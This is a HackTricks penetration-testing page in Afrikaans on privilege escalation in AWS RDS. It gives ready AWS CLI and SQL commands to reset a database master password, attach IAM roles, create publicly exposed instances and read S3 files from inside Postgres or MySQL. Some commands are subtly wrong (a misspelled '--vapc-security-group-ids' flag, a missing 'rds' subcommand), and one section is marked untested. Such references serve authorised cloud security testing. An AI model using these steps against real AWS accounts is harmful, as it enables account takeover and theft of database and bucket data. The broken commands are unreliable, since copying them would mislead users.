AWS - RDS Privesc

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

RDS - Relational Database Service

Vir meer inligting oor RDS, kyk:

pageAWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Met daardie toestemming kan 'n aanvaller die wagwoord van die hoofgebruiker wysig, en die aanmelding binne die databasis:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Jy sal in staat moet wees om kontak te maak met die databasis (hulle is gewoonlik slegs toeganklik van binne netwerke).

Potensiële Impak: Vind sensitiewe inligting binne die databasisse.

rds-db:connect

Volgens die dokumentasie kan 'n gebruiker met hierdie toestemming aan die DB-instantie koppel.

Misbruik RDS Rol IAM-toestemmings

Postgresql (Aurora)

As jy SELECT datname FROM pg_database; hardloop en 'n databasis genaamd rdsadmin vind, weet jy dat jy binne 'n AWS postgresql databasis is.

Eerstens kan jy nagaan of hierdie databasis gebruik is om toegang tot enige ander AWS-diens te verkry. Jy kan dit nagaan deur na die geïnstalleerde uitbreidings te kyk:

SELECT * FROM pg_extension;

Indien jy iets soos aws_s3 vind, kan jy aanneem dat hierdie databasis 'n soort toegang oor S3 het (daar is ander uitbreidings soos aws_ml en aws_lambda).

Verder, as jy toestemmings het om aws rds describe-db-clusters uit te voer, kan jy sien of die klaster enige IAM Rol aangeheg het in die veld AssociatedRoles. Indien wel, kan jy aanneem dat die databasis voorberei is om ander AWS-diens te benader. Gebaseer op die naam van die rol (of as jy die toestemmings van die rol kan kry) kan jy raai watter ekstra toegang die databasis het.

Nou, om 'n lêer binne 'n emmer te lees moet jy die volledige pad weet. Jy kan dit lees met:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Indien jy rou AWS-legitimasie gehad het, kon jy dit ook gebruik om toegang tot S3-data te verkry met:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql hoef nie enige parametergroepveranderlike te verander om toegang tot S3 te verkry nie.

Mysql (Aurora)

Binne 'n mysql, as jy die navraag SELECT User, Host FROM mysql.user; hardloop en daar is 'n gebruiker genaamd rdsadmin, kan jy aanneem dat jy binne 'n AWS RDS mysql db is.

Voer show variables; binne die mysql uit en as die veranderlikes soos aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role waardes het, kan jy aanvaar dat die databasis gereed is om S3-data te benader.

Ook, as jy toestemming het om aws rds describe-db-clusters uit te voer, kan jy nagaan of die groep enige geassosieerde rol het, wat gewoonlik toegang tot AWS-diens beteken.

Nou, om 'n lêer binne 'n emmer te lees moet jy die volledige pad weet. Jy kan dit lees met:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

'n Aanvaller met die regte rds:AddRoleToDBCluster en iam:PassRole kan 'n spesifieke rol by 'n bestaande RDS-instantie voeg. Dit kan die aanvaller in staat stel om toegang tot sensitiewe data te verkry of die data binne die instantie te wysig.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potensiële Impak: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instantie. Merk op dat sommige DB's addisionele konfigurasies vereis soos Mysql, wat die rol ARN moet spesifiseer in die parametergroepe ook.

rds:CreateDBInstance

Net met hierdie toestemming kan 'n aanvaller 'n nuwe instansie binne 'n bestaande groep skep wat reeds 'n IAM-rol aangeheg het. Hy sal nie die hoofgebruiker se wagwoord kan verander nie, maar hy mag die nuwe databasisinstansie moontlik aan die internet blootstel:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: Toets

'n Aanvaller met die regte rds:CreateDBInstance en iam:PassRole kan 'n nuwe RDS-instantie skep met 'n gespesifiseerde rol aangeheg. Die aanvaller kan dan moontlik toegang verkry tot sensitiewe data of die data binne die instantie wysig.

Sommige vereistes van die rol/instantie-profiel om aan te heg (vanaf hier):

  • Die profiel moet in jou rekening bestaan.

  • Die profiel moet 'n IAM-rol hê wat Amazon EC2 toestemming het om aan te neem.

  • Die instantie-profielnaam en die geassosieerde IAM-rolnaam moet begin met die voorvoegsel AWSRDSCustom.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potensiële Impak: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instantie.

rds:AddRoleToDBInstance, iam:PassRole

'n Aanvaller met die regte rds:AddRoleToDBInstance en iam:PassRole kan 'n spesifieke rol by 'n bestaande RDS-instantie voeg. Dit kan die aanvaller toelaat om toegang tot sensitiewe data te verkry of die data binne die instantie te wysig.

Die DB-instantie moet buite 'n groep wees vir hierdie

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Potensiële Impak: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instansie.

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated